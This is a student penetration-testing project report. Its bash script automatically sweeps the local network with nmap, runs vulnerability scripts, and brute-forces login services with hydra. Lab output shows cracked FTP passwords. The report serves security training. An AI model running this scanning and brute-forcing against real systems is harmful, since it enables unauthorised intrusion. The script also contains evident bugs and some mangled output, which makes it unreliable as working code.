

Penetration Testing Project

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Introduction

This script will map your current network and find different attack vectors. Based on the active hosts, open ports will be identified. Next, the script will find users with weak passwords and potential vulnerabilities based on service detection.

The user will be prompted to provide a list of Usernames and Passwords. The list will be used to check for weak passwords in the network services.

Finally, the user may view the results in the command line or, view it in a saved report file.

Key Concepts

Tools used: nmap, hydra

[nmap] – at the first part of the script, the nmap tool was used to do active host discovery and port scanning. Next, the default nmap NSE “vuln” script was used to search for potential vulnerabilities in each active host.

```
242 ##### do nmap scan to find active hosts and store in a file
243 sudo nmap -sn 192.168.136.136/24 -oX res0 > /dev/null
```

```
271 ##### do an nmap scan to check for open ports and save the result in a new file
272 echo -e "\nScanning for $ipaddr ..."
273 sudo nmap $ipaddr -sV -oX "res-{$ipaddr}" > /dev/null
```

```
308 ## Scan for vulnerabilities using nmap default vulnerability scripts
309 sudo nmap -Pn --script vuln "{$ipaddr}" -p "{$portid}" -oX "res-{$ipaddr}-p{$portid}-vuln" > /dev/null
```

[hydra] – the hydra tool was used to identify any available login service and brute force it.

```
379 ## Run hydra command
380 hydra -L $usernamefile -P $passwordfile $ip_address $selected_protocol -s $selected_port -o "res-{$ip_address}-hydra-output"
```

Possible Enhancements

Scope of the search for potential vulnerability could be expanded by using online databases, for example, **scipag_vulscan** resource. However, this would require a git clone to copy the repository into the user’s local directory.

User could be recommended a prepared list of password file templates, and the estimated time it might take to run the brute forcing. This allows the user to make a assessment weighing the scope, time and accuracy.

Multiple host & port scanning tools can be used to further enhance the accuracy of device & port scanning. For example, using nmap UDP scans as well as the massscan tool. However, this would greatly increase the time taken to complete the scan.

1- Initialisation of folders, sudo access and functions

```
1  #!/bin/bash
2
3  #####
4  #####
5  ##### Warning to allow sudo
6  echo -e "NOTE: This bash script will require sudo privileges. Kindly
7  key in your password if prompted.\n"
8  #####
9  #####
10 ##### 0.1 Initialize
11
12 ## Create temporary folder based on timestamp
13 startTime=$(date +%Y%m%d%H%M%S%)
14 tmpDir="tmp${startTime}"
15 mkdir "$tmpDir"
16 cd "$tmpDir"
17
18 ## Pseudo code to trigger sudo authentication
19 sudo mkdir test
20
21 ## Initialize a final report file to store all results
22 reportfile="scan_report_${startTime}"
23 touch "$reportfile"
24
```

Initialization

```
25 ##### Defining repetitive functions
26 ## print on display and also the report
27 printfn() {
28     echo -e $1
29     echo -e $1 >> "$reportfile"
30 }
31
32 ## print only on the report
33 printfn0() {
34     echo -e $1 >> "$reportfile"
35 }
36
37 ## print on display, report and also individual host summary
38 printfn2() {
39     echo -e $1
40     echo -e $1 >> "$reportfile"
41     echo -e $1 >> "res-$2-summary"
42 }
43
44 ## function to ask user for input to continue
45 continueCheck() {
46     while true; do
47         read -p "Continue? (Y/N)" answer
48         # Check the user's response
49         if [ "$answer" = "Y" ]; then
50             break
51         elif [ "$answer" = "N" ]; then
52             echo -e "Please try again."
53             # Do nothing
54         else
55             echo "Invalid input."
56         fi
57     done
58 }
```

Define Functions

2- Simple introductions to the code

```
60 #####
61 #####
62 ##### 0.0 Introductions
63
64 echo "#####\n"
65 echo -e "#####\n"
66 echo -e "Created by:\n"
67 echo " SSSSS  22222  22222 "
68 echo "S    22  22  22  22"
69 echo "S      22      22  "
70 echo " SSSSS  2222  2222  "
71 echo "   S    22      22  "
72 echo "SSSSS   222222 222222 "
73 echo -e "\n#####\n"
74
75 echo -e "\n### Introduction"
76 echo -e "\nThis script will map your current network and find different
77 attack vectors. Based on the active hosts, open ports will be
78 identified. Next, finding users with weak passwords and potential
79 vulnerabilities based on service detection. Results will be saved in a
80 report file."
81 echo -e "\nYou will first be prompted to provide a list of Username and
82 Passwords. The list will be used to check for weak passwords in the
83 network services.\n"
84 continueCheck
```

```
—(kali@kali)-[~/project]
→$ bash project.sh
NOTE: This bash script will require sudo privileges. Kindly key in your password if prompted.

#####
#####

Created by:

SSSSS  22222  22222
S    22  22  22  22
S      22      22
SSSSS  2222  2222
S    22      22
SSSSS   22222 222222

#####

### Introduction

This script will map your current network and find different attack vectors. Based on the active ho
ports will be identified. Next, finding users with weak passwords and potential vulnerabilities ba
vice detection. Results will be saved in a report file.

You will first be prompted to provide a list of Username and Passwords. The list will be used to ch
ak passwords in the network services.

Continue? (Y/N)Y
```

3 – Allow user to specify a list of usernames and list of passwords

```
85 #####
86 ##### 2.1 Allow the user to specify a user list - (5 Points)
87
88 ## Prompt the user
89 echo -e "\nKindly provide a list of USERNAMES, and once you are done,
90 enter +end"
91 output_file1="user_list.txt"
92
93 ## Read and store user inputs
94 while true; do
95     read -p "> " userInput
96     ## Stop when user keys the string "+end"
97     if [[ "$userInput" == "+end" ]]; then
98         break
99     fi
100     ## store each entry into the user_list file
101     echo "$userInput" >> "$output_file1"
102 done
103
104 ## Inform the user
105 echo -e "Username inputs are stored in $output_file1"
```

```
108 #####
109 ##### 2.3 Allow the user to create a password list - (5 Points)
110
111 ## Prompt the user for input
112 echo -e "\nKindly provide a list of PASSWORDS, and once you are done,
113 enter +end"
114 output_file2="password_list.txt"
115
116 while true; do
117     read -p "> " userInput
118     ## Stop when user keys the string "+end"
119     if [[ "$userInput" == "+end" ]]; then
120         break
121     fi
122     ## store each entry into the user_list file
123     echo "$userInput" >> "$output_file2"
124 done
125
126 ## inform the user
127 echo -e "Password inputs are stored in $output_file2"
```

```
Kindly provide a list of USERNAMES, and once you are done, enter +end
> kali
> user1
> user2
> +end
Username inputs are stored in user_list.txt
```

```
Kindly provide a list of PASSWORDS, and once you are done, enter +end
> kali
> abcde
> abcd
> +end
Password inputs are stored in password_list.txt forcing portion later
```

```
(kali㉿kali)-[~/project/tmp20231106032337EST]
$ find . -name '*list.txt'
./user_list.txt
./password_list.txt
```

```
(kali㉿kali)-[~/project/tmp20231106032337EST]
$ cat user_list.txt
kali
user1
user2
provided list for a combined list to be used

(kali㉿kali)-[~/project/tmp20231106032337EST]
$ cat password_list.txt
kali
abcde
abcd
123456
```

4 – Allow the user to specify a password list template

```
130 #####
131 ##### 2.2 Allow the user to specify a password list - (5 Points)
132
133 ## Create a function to prompt user for path to a template password file
134 ## Function used for better code segmentation
135 getPasswordListPath() {
136
137     ## A variable to check if path is valid, default set to FALSE i.e. not valid
138     valid_path=false
139
140     ### Prompt user to provide path
141     while [ "$valid_path" = false ]; do
142         echo -e "\nPlease specify a password list by providing the file path:"
143         read userInput
144         path_userpasswordlist="$userInput"
145
146         ## Check if the file exists and is a regular file
147         if [ -f "$path_userpasswordlist" ]; then
148             valid_path=true # Set the flag to exit the loop
149             echo "You have provided $path_userpasswordlist"
150
151             ## Count the number of lines in the file and display to the user for confirmation
152             line_count=$(wc -l < "$path_userpasswordlist")
153             echo "The file has $line_count items"
154
155             ## Request for confirmation from the user
156             while true; do
157                 read -p "Do you confirm this file? (Y/N): " confirmation
158                 case "$confirmation" in
159                     [Yy]* )
160                         ## if user confirmed, exit the loop
161                         valid_path=true # Set the flag to exit the confirmation loop and accept the input
162                         break ;;
163                     [Nn]* )
164                         ## if user does not confirm, also exit the confirmation loop to re-prompt for new input
165                         break ;;
166                     * )
167                         echo "Please enter Y or N." ;;
168                 esac
169             done
170             else
171                 echo "File path is invalid or doesn't exist. Please provide a valid file path."
172                 # The loop will continue until a valid file path is provided
173             fi
174         done
175
176         ## Copy the Password List into the working directory
177         cp $path_userpasswordlist passwordfile_template
178
179         ## Add the template password list into the user provided list for a combined list to be used in brute forcing portion later
180         cat passwordfile_template >> $output_file2
181     }
182 }
```

Do you want to also use a templated password list? (Y/N): Y

Please specify a password list by providing the file path:

/usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt

You have provided /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt

The file has 10000 items

Do you confirm this file? (Y/N): Y

Thank you for your inputs, the script will run. This will take a couple of minutes or longer depending on the network.

5 – Start the scan for devices

```
223 #####
224 ##### 1.1 Automatically identify the LAN network range - (10 Points)
225
226 printfn "\n#### Device scan"
227
228 #### Get the default network interface
229 default_interface=$(ip route | awk '/default/ {print $5}')
230
231 #### Extract network range using the default interface
232 network_cidr=$(ip -o -f inet addr show $default_interface | awk -F' ' '{print $4}')
233 network_range=$(netmask -r $network_cidr)
234
235 printfn "\nDefault Interface: $default_interface"
236 printfn "LAN Network Range: $network_range"
237
238 #####
239 #####
240 ##### 1.2 Automatically scan the current LAN - (10 Points)
241
242 #### do nmap scan to find active hosts and store in a file
243 sudo nmap -sn 192.168.136.136/24 -oX res0 > /dev/null
244
245 #### extract only the ip addresses and store in a new file
246 cat res0 | grep "address addr" | grep ipv4 | awk -F ' ' '{print $2}' > res0ipall
247
248 #### Remove the host ip from the list
249 host_ip=$(hostname -I | cut -d' ' -f1)
250 cat res0ipall | grep -vE "$host_ip" > res0ip
251
252 #### print the output into the terminal
253 hostNum=$(cat res0ip | wc -l)
254 printfn "\nFound $hostNum active hosts:"
255 cat res0ip
256 cat res0ip >> "$reportfile"
257
```

Scan started at: Mon Nov 6 03:51:58 AM EST 2023

Device scan

Default Interface: eth0

LAN Network Range: 192.168.136.0-192.168.136.255 (256)

(10 Points)

Found 5 active hosts:

192.168.136.1

192.168.136.2

192.168.136.144

192.168.136.145

192.168.136.254

6 – Start scan of ports on each device found

```
259 #####
260 ##### 1.3 Enumerate each live host - (10 Points)
261
262 printfn "\n#### Port scan"
263
264 ### for each ip inside the file saved in 1.2
265 while IFS= read -r ipaddr; do
266
267     ## Set up the individual host summary report
268     echo -e "\n##### " >> "res-{$ipaddr}-summary"
269     echo -e "\n#### Report for $ipaddr" >> "res-{$ipaddr}-summary"
270
271     ### do an nmap scan to check for open ports and save the result in a new file
272     echo -e "\nScanning for $ipaddr ..."
273     sudo nmap $ipaddr -sV -oX "res-{$ipaddr}" > /dev/null
274
275     ### extract only the port numbers into a file list
276     cat "res-{$ipaddr}" | grep port | grep open | awk -F '"' '{print $4}' > "res-{$ipaddr}-pList"
277     portNum=$(cat "res-{$ipaddr}-pList" | wc -l)
278
279     ### extract only the service name into a file list
280     cat "res-{$ipaddr}" | grep "service name=" | awk -F 'service name="' '{print $2}' | awk -F '"' '{print $1}' > "res-{$ipaddr}-pList-servicename"
281
282     ### print results
283     echo "Found $portNum open ports on $ipaddr"
284     printfn2 "\e[32m\n$ipaddr > $portNum open ports\e[0m" "$ipaddr"
285     cat "res-{$ipaddr}-pList" >> "$reportfile"
286
287 done < res0ip
```

```
#### Port scan

Scanning for 192.168.136.1 ...
Found 0 open ports on 192.168.136.1

192.168.136.1 > 0 open ports

Scanning for 192.168.136.2 ...
Found 1 open ports on 192.168.136.2

192.168.136.2 > 1 open ports

Scanning for 192.168.136.144 ...
Found 1 open ports on 192.168.136.144

192.168.136.144 > 1 open ports

Scanning for 192.168.136.145 ...
Found 23 open ports on 192.168.136.145

192.168.136.145 > 23 open ports

Scanning for 192.168.136.254 ...
Found 0 open ports on 192.168.136.254

192.168.136.254 > 0 open ports
```


7 – Find potential vulnerabilities in each device

```
290 #####
291 ##### 1.4 Find potential vulnerabilities for each device - (10 Points)
292 echo -e "\n#####"
293 echo -e "##### Finding Potential Vulnerabilities for each device"
294
295 #### for each ip inside the file saved in 1.2
296 while IFS= read -r ipaddr; do
297     printfn "\n##### " "$ipaddr"
298     printfn2 "\n#### Potential Vulnerabilities for \e[32m$ipaddr\e[0m\n" "$ipaddr"
299
300     #### Serach for potential vulnerabilities in each port service
301     line_number=0
302     while IFS= read -r portid; do
303         ((line_number++))
304         ## Print the scan parameters
305         service_name=$(sed -n "${line_number}p" "res-{$ipaddr}-pList-servicename")
306         printfn2 "[port: $portid | service: $service_name]" "$ipaddr"
307
308         ## Scan for vulnerabilities using nmap default vulnerability scripts
309         sudo nmap -Pn --script vuln "{$ipaddr}" -p "{$portid}" -oX "res-{$ipaddr}-p{$portid}-vuln" > /dev/null
310
311         # print the results
312         vulnName=$(cat "res-{$ipaddr}-p{$portid}-vuln" | grep title | awk -F '>' '{print $2}' | awk -F '<' '{print $1}')
313
314         if [[ -n "$vulnName" ]] && ! -z "$vulnName"; then
315             counter=1
316             cat "res-{$ipaddr}-p{$portid}-vuln" | grep title | awk -F '>' '{print $2}' | awk -F '<' '{print $1}' > tmp-vuln-names
317             while IFS= read -r line; do
318                 printfn2 "... $counter- $line" "$ipaddr"
319                 ((counter++))
320             done < "tmp-vuln-names"
321         fi
322     done < "res-{$ipaddr}-pList"
323     echo "done ~"
324 done < res0ip
```

```
#####
##### Finding Potential Vulnerabilities for each device
```

```
#####
#### Potential Vulnerabilities for 192.168.136.144
[port: 21 | service: ftp]
done ~

#####
#### Potential Vulnerabilities for 192.168.136.145
[port: 21 | service: ftp]
.. 1- vsFTPD version 2.3.4 backdoor
[port: 22 | service: ssh]
[port: 23 | service: telnet]
[port: 25 | service: smtp]
.. 1- SSL POODLE information leak
.. 2- Anonymous Diffie-Hellman Key Exchange MitM Vulnerability
.. 3- Transport Layer Security (TLS) Protocol DHE_EXPORT Ciphers Downgrade MitM (Logjam)
.. 4- Diffie-Hellman Key Exchange Insufficient Group Strength
[port: 53 | service: domain]
[port: 80 | service: http]
.. 1- Slowloris DOS attack
[port: 111 | service: rpcbind]
[port: 139 | service: netbios-ssn]
[port: 445 | service: netbios-ssn]
[port: 512 | service: exec]
[port: 513 | service: login]
[port: 514 | service: tcpwrapped]
[port: 1099 | service: java-rmi]
.. 1- RMI registry default configuration remote code execution vulnerability
[port: 1524 | service: bindshell]
[port: 2049 | service: nfs]
[port: 2121 | service: ftp]
[port: 3306 | service: mysql]
[port: 5432 | service: postgresql]
.. 1- SSL/TLS MITM vulnerability (CCS Injection)
.. 2- SSL POODLE information leak
```


8 – Brute force the first available login service

```
332 #####
333 ##### 2.5 If more than one login service is available, choose the first service - (10 Points)
334
335 ## List of services that hydra supports for logging in
336 HydraServices="dam6500 asterisk cisco cisco-enable cobaltstrike cvs firebird ftp[s] http[s]-{head|get|post} http[s]-(get|post)-form http-proxy
http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest|md5}[s] memcached mongodb mssql mysql nntp oracle-listener oracle-sid panywhere
pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak
telnet[s] vmauthd vnc xmp"
337
338 ## Define the files
339 usernamefile="user_list.txt"
340 passwordfile="password_list.txt"
341
342 # Loop to brute force the first login service of each IP address
343 while IFS= read -r ip_address; do
344
345     printfn "#####\n"
346     printfn "### Checking passwords on $ip_address\n"
347
348     ## Check which is the first service that can be brute force by hydra (if available)
349     line_number=0
350     firstProtocol=TRUE
351     selected_protocol=NULL
352
353     while IFS= read -r service; do
354         ((line_number++))
355
356         ## Check if the service is part of the hydra list
357         if [[ $HydraServices == *"$service"* ]]; then
358             port_number=$(sed -n "${line_number}p" "res-$(ip_address)-pList")
359             printfn "\e[32m$service > $ip_address:$port_number\e[0m"
360             echo -e "$service > $ip_address:$port_number" >> "res-$(ip_address)-pList-service-name-hydra"
361
362             ## Store the values if it is the first service supported by hydra
363             if [[ $firstProtocol == TRUE ]]; then
364                 selected_port=$port_number
365                 selected_protocol=$service
366                 firstProtocol=FALSE
367             fi
368         fi
369     done < "res-$(ip_address)-pList-service-name"
370
371     ## Run hydra for the first service stored earlier
372     if [[ "$selected_protocol" != "NULL" ]]; then
373
374         printfn2 "\n### Hydra Brute force on \e[32m$ip_address port $selected_port via $selected_protocol\e[0m" "$ip_address"
375         printfn2 "User List: $usernamefile" "$ip_address"
376         printfn2 "Password List: $passwordfile\n" "$ip_address"
377
378         ## Run hydra command
379         hydra -L $usernamefile -P $passwordfile $ip_address $selected_protocol -s $selected_port -o "res-$(ip_address)-hydra-output"
380
381         ## Store the results
382         cat "res-$(ip_address)-hydra-output" | grep "host:" >> "$reportfile"
383         cat "res-$(ip_address)-hydra-output" | grep "host:" >> "res-$(ip_address)-summary"
384
385         echo -e ""
386     fi
387
388     echo -e "\nEnd ~" >> "res-$(ip_address)-summary"
389     echo -e "\n##### >> "res-$(ip_address)-summary"
390
391 done < res0ip
```

```
#####
### Checking passwords on 192.168.136.144
ftp > 192.168.136.144:21

### Hydra Brute force on 192.168.136.144 port 21 via ftp
User List: user_list.txt
Password List: password_list.txt

Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-11-06 03:38:08
[DATA] max 16 tasks per 1 server, overall 16 tasks, 3009 login tries (l:3/p:1003), ~189 tries per task
[DATA] attacking ftp://192.168.136.144:21/
[21][ftp] host: 192.168.136.144 login: kali password: kali
[21][ftp] host: 192.168.136.144 login: user1 password: abcde
[21][ftp] host: 192.168.136.144 login: user2 password: 12345
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-11-06 03:38:20
```

9 – Display the total time of the scan

```
395 #####
396 ##### 3.1 Display general statistics (time of the scan, number of found devices, etc.) - (5 Points)
397
398 # Record the stop time
399 stop_time=$(date +%s)
400 echo "Script stopped at: $(date)"
401
402 # Calculate the difference in timing
403 time_diff=$((stop_time - start_time))
404
405 # Calculate minutes and seconds
406 minutes=$((time_diff / 60))
407 seconds=$((time_diff % 60))
408
409 printfn "#####"
410 printfn "Total time of the scan: \e[32m$minutes minutes $seconds seconds\e[0m ($difference_seconds seconds)."
```

```
411 printfn "#####"
```

```
Script stopped at: Mon Nov  6 03:49:02 AM EST 2023
#####
Total time of the scan: 24 minutes 41 seconds ( seconds).
#####
```

10 – Save the essential report files and delete the rest

```
412
413 #####
414 #####
415 ##### 3.2 Save all the results into a report - (5 Points)
416
417 mkdir "../scan"
418
419 ## Remove the runtime files and temporary folder, keeping only report files
420 cp "$reportfile" "../scan/scan_report_all"
421 cp "res0ip" "../scan/res0ip"
422
423 while IFS= read -r ipaddr; do
424     cp "res-${ipaddr}-summary" "../scan/scan_report_${ipaddr}"
425 done < res0ip
426
427 ## Remove all the temporary files
428 cd ..
429 sudo rm -r "$tmpDir"
```

```
(kali㉿kali)-[~/project/scanres-20231106103531EST]
$ ls -l
total 24
-rw-r--r-- 1 kali kali  60 Nov  6 10:37 res0ip
-rw-r--r-- 1 kali kali 213 Nov  6 10:37 scan_report_192.168.136.1
-rw-r--r-- 1 kali kali 502 Nov  6 10:37 scan_report_192.168.136.144
-rw-r--r-- 1 kali kali 244 Nov  6 10:37 scan_report_192.168.136.2
-rw-r--r-- 1 kali kali 219 Nov  6 10:37 scan_report_192.168.136.254
-rw-r--r-- 1 kali kali 1761 Nov  6 10:37 scan_report_all
```

11 – Allow the user to select an ip address to view the results

```
432 #####
433 ##### 3.3 Allow the user to enter an IP address; display the relevant findings - (5 Points)
434
435 # Displaying the numbered list of IP addresses
436 while true; do
437     echo -e "\nPlease select which ip address to view results (e.g. 2): "
438     awk '{print NR" - "$0}' "/scan/res0ip"
439
440     # Prompt user for selection
441     echo -e ""
442     read -p $'\e[93mSelect:\e[0m ' selected_number
443
444     # Validate user input and store the selected IP address
445     selected_ip=$(awk -v num="$selected_number" 'NR==num {print $0}' "/scan/res0ip")
446
447     if [ -z "$selected_ip" ]; then
448         echo "Invalid selection."
449     else
450         #### display results using the individual host report
451         cat "/scan/scan_report_${ip_address}"
452     fi
453 done
454
```

Please select which ip address to view results (e.g. 2):

```
1 - 192.168.136.1
2 - 192.168.136.2
3 - 192.168.136.144
4 - 192.168.136.145
5 - 192.168.136.254
```

Select: 4

#####

Report for 192.168.136.145

192.168.136.145 > 23 open ports

21|22|23|25|53|80|111|139|445|512|513|514|1099|1524|2049|2121|3306|5432|5900|6000|6667|8009|8180

Potential Vulnerabilities for 192.168.136.145

[port: 21 | service: ftp]

.. 1- vsFTPD version 2.3.4 backdoor

[port: 22 | service: ssh]

[port: 23 | service: telnet]

[port: 25 | service: smtp]

.. 1- SSL POODLE information leak

.. 2- Anonymous Diffie-Hellman Key Exchange MitM Vulnerability

.. 3- Transport Layer Security (TLS) Protocol DHE_EXPORT Ciphers Downgrade MitM (Logjam)

.. 4- Diffie-Hellman Key Exchange Insufficient Group Strength

[port: 53 | service: domain]

[port: 80 | service: http]

.. 1- Slowloris DOS attack

[port: 111 | service: rpcbind]

[port: 139 | service: netbios-ssn]

[port: 445 | service: netbios-ssn]

[port: 512 | service: exec]

[port: 513 | service: login]

[port: 514 | service: tcpwrapped]

[port: 1099 | service: java-rmi]

.. 1- RMI registry default configuration remote code execution vulnerability

[port: 1524 | service: bindshell]